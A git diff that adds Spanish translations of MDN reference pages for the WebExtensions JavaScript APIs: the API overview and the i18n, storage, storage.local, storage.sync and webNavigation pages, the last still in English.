+ <dd>Obtiene la cadena de texto traducida correspondiente al mensaje especificado.</dd>
+ <dt>{{WebExtAPIRef("i18n.getUILanguage()")}}</dt>
+ <dd>Obtiene el idioma de la IU del navegador. Esto es distinto de {{WebExtAPIRef('i18n.getAcceptLanguages')}}, que devuelve los idiomas preferidos del usuario.</dd>
+ <dt>{{WebExtAPIRef("i18n.detectLanguage()")}}</dt>
+ <dd>Detecta el idioma del texto proporcionado a través de <a href="https://github.com/CLD2Owners/cld2">Compact Language Detector</a>.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{Compat("webextensions.api.i18n")}}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<dl>
+</dl>
+
+<div class="note"><strong>Reconocimientos</strong>
+
+<p>Esta API se basa en la API <a href="https://developer.chrome.com/extensions/i18n"><code>chrome.i18n</code></a> de Chromium. Esta documentación deriva del archivo <a href="https://chromium.googlesource.com/chromium/src/+/master/chrome/common/extensions/api/i18n.json"><code>i18n.json</code></a> en el código fuente de Chromium.</p>
+
+<p>Los datos de compatibilidad de Microsoft Edge son suministrados por Microsoft Corporation y se incluyen aquí según los términos de la licencia Creative Commons Atribución 3.0, versión estadounidense.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/api/index.html b/files/es/mozilla/add-ons/webextensions/api/index.html
new file mode 100644
index 0000000000..9a1a727d52
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/index.html
@@ -0,0 +1,59 @@
+---
+title: API
+slug: Mozilla/Add-ons/WebExtensions/API
+tags:
+  - Extenciones Web
+translation_of: Mozilla/Add-ons/WebExtensions/API
+---
+<p>Las API de JavaScript para las Extensiones Web se pueden usar dentro de los <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Background_scripts">scripts en segundo plano</a> de la extensión y en cualquier otro documento contenido en la extensión, incluyendo las ventanas emergentes de <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Page_actions">acción de página</a> o <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_action">acción del navegador</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Sidebars">barras laterales</a>, <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Options_pages">páginas de opciones</a> o <a href="/en-US/Add-ons/WebExtensions/manifest.json/chrome_url_overrides">páginas de pestañas nuevas</a>. A algunas de estas API también se puede acceder mediante los <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Anatomy_of_a_WebExtension#Content_scripts">scripts de contenido</a> de una extensión ( consulte la <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Content_scripts#WebExtension_APIs">lista en la guía de script de contenido</a>).</p>
+
+<p>Para usar API más poderosas debes <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions">solicitar permiso</a> en manifest.json en tu extensión.</p>
+
+<p>Puedes acceder a las API utilizando el namespace <code>browser</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logTabs</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>tabs<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+browser<span class="punctuation token">.</span>tabs<span class="punctuation token">.</span><span class="function token">query</span><span class="punctuation token">(</span><span class="punctuation token">{</span>currentWindow<span class="punctuation token">:</span> <span class="keyword token">true</span><span class="punctuation token">}</span><span class="punctuation token">,</span> logTabs<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<div>
+<p>Muchas de las APIs son asíncronas, devolviendo un <code>Promise</code>:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">logCookie</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>c<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">function</span> <span class="function token">logError</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  console<span class="punctuation token">.</span><span class="function token">error</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> setCookie <span class="operator token">=</span> browser<span class="punctuation token">.</span>cookies<span class="punctuation token">.</span><span class="keyword token">set</span><span class="punctuation token">(</span>
+  <span class="punctuation token">{</span>url<span class="punctuation token">:</span> <span class="string token">"https://developer.mozilla.org/"</span><span class="punctuation token">}</span>
+<span class="punctuation token">)</span><span class="punctuation token">;</span>
+setCookie<span class="punctuation token">.</span><span class="function token">then</span><span class="punctuation token">(</span>logCookie<span class="punctuation token">,</span> logError<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<div>
+<p>Tenga en cuenta que esto es diferente del sistema de extensiones de Google Chrome, que utiliza el nombre <code>chrome</code> en lugar de <code>browser</code>, y que utiliza <code>callbacks</code> en lugar de <code>promise</code> para funciones asíncronas. Como ayuda para portar, la implementación de Firefox de la API WebExtensions admite <code>chrome</code> y <code>callbacks</code>, así como <code>browser</code> y <code>promise</code>. Mozilla también ha escrito un <em>polyfill</em> que habilita el código que usa  <code>browser</code> y <code>promise</code> para trabajar sin cambios en Chrome.: <a class="external external-icon" href="https://github.com/mozilla/webextension-polyfill">https://github.com/mozilla/webextension-polyfill</a>.</p>
+
+<p>Firefox también implementa estas APIs bajo el nombre <code>chrome</code> usando <code>callbacks</code>. Esto permite que el código escrito para Chrome se ejecute sin cambios en Firefox para las APIs documentadas aquí.</p>
+
+<p>Microsoft Edge usa el namespace <code>browser</code>, pero aún no admite APIs asíncronas basadas en <code>promise</code>. En Edge, por el momento, las APIs asíncronas deben utilizar <code>callbacks</code>.</p>
+
+<p>No todos los navegadores son compatibles con todas las APIs: para obtener más información, consulte <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Soporte del navegador para las API de JavaScript</a>.</p>
+
+<h2 id="Listado_de_API_de_JavaScript">Listado de API de JavaScript</h2>
+
+<p>Vea a continuación una lista completa de las API de JavaScript:</p>
+
+<p>Esta página lista todas las APIs JavaScript de WebExtension que actualmente son soportadas.</p>
+</div>
+
+<div>{{SubpagesWithSummaries}}</div>
+
+<h2 id="Incompatibilidades_con_Chrome">Incompatibilidades con Chrome</h2>
+
+<p>Nosotros no soportamos ninguna API que no es listada arriba.</p>
+
+<p>Incluso, para las APIs que están listadas arriba, no siempre soportamos todas las propiedades que Chrome soporta. Por favor, chequea la página de la API para cualquier incompatibilidad con Chrome.</p>
diff --git a/files/es/mozilla/add-ons/webextensions/api/storage/index.html b/files/es/mozilla/add-ons/webextensions/api/storage/index.html
new file mode 100644
index 0000000000..a98fb1e17f
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/storage/index.html
@@ -0,0 +1,115 @@
+---
+title: storage
+slug: Mozilla/Add-ons/WebExtensions/API/storage
+tags:
+  - API
+  - Add-ons
+  - Complentos
+  - Extensions
+  - Interface
+  - NeedsTranslation
+  - Non-standard
+  - Reference
+  - Storage
+  - TopicStub
+  - WebExtensions
+  - extensiones
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Permite que las extensiones almacenen y recuperen datos, y escuchen los cambios realizados  en los elementos almacenados.</p>
+
+<p>El sistema de almacenamiento se basa en <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>, con algunas diferencias. Entre otras diferencias, éstas incluyen:</p>
+
+<ul>
+ <li>Es asíncrono.</li>
+ <li>Los valores se aplican a la extensión, no a un dominio específico (es decir, el mismo conjunto de pares clave / valor está disponible para todos los scripts de tipo background y los scripts de contenido o content).</li>
+ <li>Los valores almacenados pueden ser cualquier valor JSON, no solo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>. Entre otras cosas, esto incluye: <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code> y <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>, pero solo cuando sus contenidos se pueden representar como JSON, que no incluye nodos DOM. No es necesario convertir sus valores en cadenas JSON antes de almacenarlos, pero se representan como JSON internamente, por lo tanto, el requisito de que sean responsables de JSON.</li>
+ <li>Se pueden establecer o recuperar múltiples pares de clave / valor en la misma llamada a la API.</li>
+</ul>
+
+<p>Para usar esta API, debe incluir el <a href="/es/docs/">permiso</a> de "storage" en su archivo <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json">manifest.json</a>.</p>
+
+<p>Cada extensión tiene su propia área de almacenamiento, que se puede dividir en diferentes tipos de almacenamiento.</p>
+
+<p>Aunque esta API es similar a {{domxref ("Window.localStorage")}}, se recomienda que no use Window.localStorage en el código de extensión para almacenar datos relacionados con la extensión. Firefox borrará los datos almacenados por las extensiones utilizando la API localStorage en varios escenarios donde los usuarios borran su historial de navegación y los datos por razones de privacidad, mientras que los datos guardados utilizando la API <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage/local">storage.local</a></code> se conservarán correctamente en estos escenarios.</p>
+
+<div class="note">El área de almacenamiento no está encriptada y no debe utilizarse para almacenar información confidencial del usuario, como claves.</div>
+
+<h2 id="Tipos">Tipos</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea")}}</dt>
+ <dd>Un objeto que representa un área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageChange")}}</dt>
+ <dd>Un objeto que representa un cambio en un área de almacenamiento.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p>El almacenamiento tiene tres propiedades, que representan los diferentes tipos de área de almacenamiento disponible.</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.sync")}}</dt>
+ <dd>Representa el área de almacenamiento de sincronización. Los elementos en el almacenamiento de sincronización están sincronizados por el navegador y están disponibles en todas las instancias de ese navegador en el que el usuario ha iniciado sesión, en diferentes dispositivos.</dd>
+ <dt>{{WebExtAPIRef("storage.local")}}</dt>
+ <dd>Representa el área de almacenamiento local. Los elementos en el almacenamiento local son locales a la máquina en la que se instaló la extensión.</dd>
+ <dt>{{WebExtAPIRef("storage.managed")}}</dt>
+ <dd>Representa el área de almacenamiento gestionado. Los elementos en el almacenamiento gestionado los establece el administrador del dominio y son de sólo lectura para la extensión. Intentar modificar este espacio de nombres da como resultado un error.</dd>
+</dl>
+
+<h2 id="Eventos">Eventos</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.onChanged")}}</dt>
+ <dd>Se dispara cuando uno o más elementos cambian en un área de almacenamiento.</dd>
+</dl>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("webextensions.api.storage")}}</p>
+
+<p>{{WebExtExamples("h2")}}</p>
+
+<div class="note"><strong>Agradecimientos</strong>
+
+<p> </p>
+
+<p>Esta API se basa en la API <a href="https://developer.chrome.com/extensions/storage"><code>chrome.storage</code></a> de Chromium. Esta documentación se deriva de <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> en el código de Chromium.</p>
+
+<p>Los datos de compatibilidad de Microsoft Edge son proporcionados por Microsoft Corporation y se incluyen aquí bajo la Licencia de Estados Unidos Creative Commons Attribution 3.0.</p>
+
+<p> </p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/api/storage/local/index.html b/files/es/mozilla/add-ons/webextensions/api/storage/local/index.html
new file mode 100644
index 0000000000..8c2a288aaf
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/storage/local/index.html
@@ -0,0 +1,95 @@
+---
+title: storage.local
+slug: Mozilla/Add-ons/WebExtensions/API/storage/local
+tags:
+  - API
+  - Complentos
+  - Storage
+  - WebExtension
+  - extensiones
+  - local
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/local
+---
+<div>{{AddonSidebar()}}</div>
+
+<div>
+<p>Representa el área de almacenamiento local. Los elementos en el almacenamiento local son locales a la máquina en la que se instaló la extensión.</p>
+
+<p>El navegador puede restringir la cantidad de datos que una extensión puede almacenar en el área de almacenamiento local:</p>
+
+<p>    Chrome limita la extensión a 5MB de datos usando esta API a menos que tenga el permiso <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/permissions#Unlimited_storage">"unlimitedStorage" </a>.<br>
+     Firefox le permite solicitar el permiso "Almacenamiento ilimitado" de la versión 56 en adelante. Aún no restringe la cantidad de datos que su extensión puede almacenar, pero comenzará a hacerlo en una versión futura: por lo tanto, es una buena idea solicitar el permiso de "Almacenamiento ilimitado" ahora, si tiene la intención de almacenar una gran cantidad de datos.</p>
+
+<p>Cuando se desinstala la extensión, se borra su almacenamiento local asociado.</p>
+
+<p>También en Firefox, puede evitar que el navegador borre el almacenamiento local al desinstalar "about: config" y configurar las siguientes dos preferencias de navegador como verdaderas: "keepUuidOnUninstall" y "keepStorageOnUninstall". Esta característica se proporciona para ayudar a los desarrolladores a probar sus extensiones. Las extensiones en sí mismas no pueden cambiar estas preferencias.</p>
+
+<p>Aunque esta API es similar a Window.localStorage, se recomienda que no use Window.localStorage en el código de extensión. Firefox borrará los datos almacenados por las extensiones utilizando la API localStorage en varios escenarios donde los usuarios borran su historial de navegación y los datos por razones de privacidad, mientras que los datos guardados utilizando la API storage.local se conservarán correctamente en estos escenarios.</p>
+</div>
+
+<h2 id="Metodos">Metodos</h2>
+
+<p>El objeto local implementa los métodos definidos en el{{WebExtAPIRef("storage.StorageArea")}} tipo:</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea.get()")}}</dt>
+ <dd>Recupera uno o más elementos del área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}</dt>
+ <dd>Obtiene la cantidad de espacio de almacenamiento (en bytes) utilizado por uno o más elementos que se almacenan en el área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.set()")}}</dt>
+ <dd>Almacena uno o más artículos en el área de almacenamiento. Si el artículo ya existe, su valor será actualizado. Cuando establezca un valor, se activará el evento {{WebExtAPIRef ("storage.onChanged")}}.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.remove()")}}</dt>
+ <dd>Elimina uno o más elementos del área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.clear()")}}</dt>
+ <dd>Elimina todos los elementos del área de almacenamiento.</dd>
+</dl>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.storage.local")}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Agradecimientos</strong>
+
+<p> </p>
+
+<p>Esta API se basa en la API <a href="https://developer.chrome.com/extensions/storage#property-local"><code>chrome.storage</code></a> de Chromium. Esta documentación se deriva de <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> en el código de Chromium.</p>
+
+<p>Los datos de compatibilidad de Microsoft Edge son proporcionados por Microsoft Corporation y se incluyen aquí bajo la Licencia de Estados Unidos Creative Commons Attribution 3.0.</p>
+
+<p> </p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/api/storage/sync/index.html b/files/es/mozilla/add-ons/webextensions/api/storage/sync/index.html
new file mode 100644
index 0000000000..74fc334dbc
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/storage/sync/index.html
@@ -0,0 +1,79 @@
+---
+title: storage.sync
+slug: Mozilla/Add-ons/WebExtensions/API/storage/sync
+tags:
+  - Complementos Extensiones
+translation_of: Mozilla/Add-ons/WebExtensions/API/storage/sync
+---
+<div>{{AddonSidebar()}}</div>
+
+<p>Representa el área de almacenamiento de sincronización. Los elementos en el almacenamiento de sincronización están sincronizados por el navegador y están disponibles en todas las instancias de ese navegador en el que el usuario está conectado (por ejemplo, a través de Firefox Sync o una cuenta de Google), en diferentes dispositivos.</p>
+
+<p>Para Firefox, un usuario debe tener complementos seleccionados en las opciones de "about:preferences".</p>
+
+<p>Tenga en cuenta que la implementación de storage.sync en Firefox se basa en la ID del complemento. Si usa storage.sync, debe establecer una ID para su extensión usando la clave <code><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/applications">applications</a></code> manifest.json.</p>
+
+<p>El principal caso de uso de esta API es almacenar las preferencias sobre su extensión y permitir que el usuario las sincronice con diferentes perfiles. Puede almacenar hasta 100 KB de datos utilizando esta API. Si intenta almacenar más que esto, la llamada fallará con un mensaje de error. La API se proporciona sin ninguna garantía sobre el tiempo de actividad o el rendimiento.</p>
+
+<p>Metodos</p>
+
+<p>El objeto de sincronización implementa los métodos definidos en el {{WebExtAPIRef("storage.StorageArea")}} ponga:</p>
+
+<dl>
+ <dt>{{WebExtAPIRef("storage.StorageArea.get()")}}</dt>
+ <dd>Recupera uno o más elementos del área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.getBytesInUse()")}}</dt>
+ <dd>Obtiene la cantidad de espacio de almacenamiento (en bytes) utilizado por uno o más elementos que se almacenan en el área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.set()")}}</dt>
+ <dd>Almacena uno o más artículos en el área de almacenamiento. Si el artículo ya existe, su valor será actualizado.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.remove()")}}</dt>
+ <dd>Elimina uno o más elementos del área de almacenamiento.</dd>
+ <dt>{{WebExtAPIRef("storage.StorageArea.clear()")}}</dt>
+ <dd>Elimina todos los elementos del área de almacenamiento.</dd>
+</dl>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("webextensions.api.storage.sync")}}</p>
+
+<p>{{WebExtExamples}}</p>
+
+<div class="note"><strong>Agradecimientos</strong>
+
+<p>Esta API está basada en la API de Chromium's <a href="https://developer.chrome.com/extensions/storage#property-sync"><code>chrome.storage</code></a> API. Esta documentación se deriva de <a href="https://chromium.googlesource.com/chromium/src/+/master/extensions/common/api/storage.json"><code>storage.json</code></a> en el código de Chromium.</p>
+
+<p>Los datos de compatibilidad de Microsoft Edge son proporcionados por Microsoft Corporation y se incluyen aquí bajo la Licencia de Estados Unidos Creative Commons Attribution 3.0.</p>
+</div>
+
+<div class="hidden">
+<pre>// Copyright 2015 The Chromium Authors. All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are
+// met:
+//
+//    * Redistributions of source code must retain the above copyright
+// notice, this list of conditions and the following disclaimer.
+//    * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following disclaimer
+// in the documentation and/or other materials provided with the
+// distribution.
+//    * Neither the name of Google Inc. nor the names of its
+// contributors may be used to endorse or promote products derived from
+// this software without specific prior written permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+</pre>
+</div>
diff --git a/files/es/mozilla/add-ons/webextensions/api/webnavigation/index.html b/files/es/mozilla/add-ons/webextensions/api/webnavigation/index.html
new file mode 100644
index 0000000000..d561c6d796
--- /dev/null
+++ b/files/es/mozilla/add-ons/webextensions/api/webnavigation/index.html
@@ -0,0 +1,144 @@
+---
+title: webNavigation
+slug: Mozilla/Add-ons/WebExtensions/API/webNavigation
+translation_of: Mozilla/Add-ons/WebExtensions/API/webNavigation
+---
+<div>{{AddonSidebar}}</div>
+
+<p>Add event listeners for the various stages of a navigation. A navigation consists of a frame in the browser transitioning from one URL to another, usually (but not always) in response to a user action like clicking a link or entering a URL in the location bar.</p>
+
+<p>Compared with the {{WebExtAPIRef("webRequest")}} API: navigations usually result in the browser making web requests, but the webRequest API is concerned with the lower-level view from the HTTP layer, while the webNavigation API is more concerned with the view from the browser UI itself.</p>
+
+<p>Each event corresponds to a particular stage in the navigation. The sequence of events is like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13374/we-flow.png" style="display: block; height: 562px; margin-left: auto; margin-right: auto; width: 745px;"></p>
+
+<ul>
+ <li>The primary flow is:
+  <ul>
+   <li><code>{{WebExtAPIRef("webNavigation.onBeforeNavigate", "onBeforeNavigate")}}</code></li>
+   <li><code>{{WebExtAPIRef("webNavigation.onCommitted", "onCommitted")}}</code></li>
+   <li><code>{{WebExtAPIRef("webNavigation.onDOMContentLoaded", "onDOMContentLoaded")}}</code></li>
+   <li><code>{{WebExtAPIRef("webNavigation.onCompleted", "onCompleted")}}</code>.</li>
+  </ul>
+ </li>
+ <li>Additionally:
+  <ul>
+   <li><code>{{WebExtAPIRef("webNavigation.onCreatedNavigationTarget", "onCreatedNavigationTarget")}}</code> is fired before <code>onBeforeNavigate</code> if the browser needed to create a new tab or window for the navigation (for example, because the user opened a link in a new tab).</li>
+   <li>{{WebExtAPIRef("webNavigation.onHistoryStateUpdated", "onHistoryStateUpdated")}} is fired if a page uses the <a href="http://diveintohtml5.info/history.html">history API</a> to update the URL displayed in the browser's location bar.</li>
+   <li>{{WebExtAPIRef("webNavigation.onReferenceFragmentUpdated", "onReferenceFragmentUpdated")}} is fired if the <a href="https://en.wikipedia.org/wiki/Fragment_identifier">fragment identifier</a> for a page is changed.</li>
+   <li>{{WebExtAPIRef("webNavigation.onErrorOccurred", "onErrorOccurred")}} can be fired at any point.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Each navigation is a URL transition in a particular browser frame. The browser frame is identified by a tab ID and a frame ID. The frame may be the top-level browsing context in the tab, or may be a nested browsing context implemented as an <a href="/en-US/docs/Web/HTML/Element/iframe">iframe</a>.</p>
+
+<p>Each event's <code>addListener()</code> call accepts an optional filter parameter. The filter will specify one or more URL patterns, and the event will then only be fired for navigations in which the target URL matches one of the patterns.</p>
+
+<p>The <code>onCommitted</code> event listener is passed two additional properties: a {{WebExtAPIRef("webNavigation.TransitionType","TransitionType")}} indicating the cause of the navigation (for example, because the user clicked a link, or because the user selected a bookmark), and a {{WebExtAPIRef("webNavigation.TransitionQualifier","TransitionQualifier")}} providing further information about the navigation.</p>
+
+<p>To use this API you need to have the "webNavigation" <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions">permission</a>.</p>
+
+<h2 id="Types">Types</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webNavigation.TransitionType")}}</dt>
+ <dd>Cause of the navigation: for example, the user clicked a link, or typed an address, or clicked a bookmark.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.TransitionQualifier")}}</dt>
+ <dd>
+ <div>Extra information about a transition.</div>
+ </dd>
+</dl>
+
+<h2 id="Functions">Functions</h2>
+
+<dl>
+ <dt>{{WebExtAPIRef("webNavigation.getFrame()")}}</dt>
+ <dd>Retrieves information about a particular frame. A frame may be the top-level frame in a tab or a nested <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe">iframe</a>, and is uniquely identified by a tab ID and a frame ID.</dd>
+ <dt>{{WebExtAPIRef("webNavigation.getAllFrames()")}}</dt>
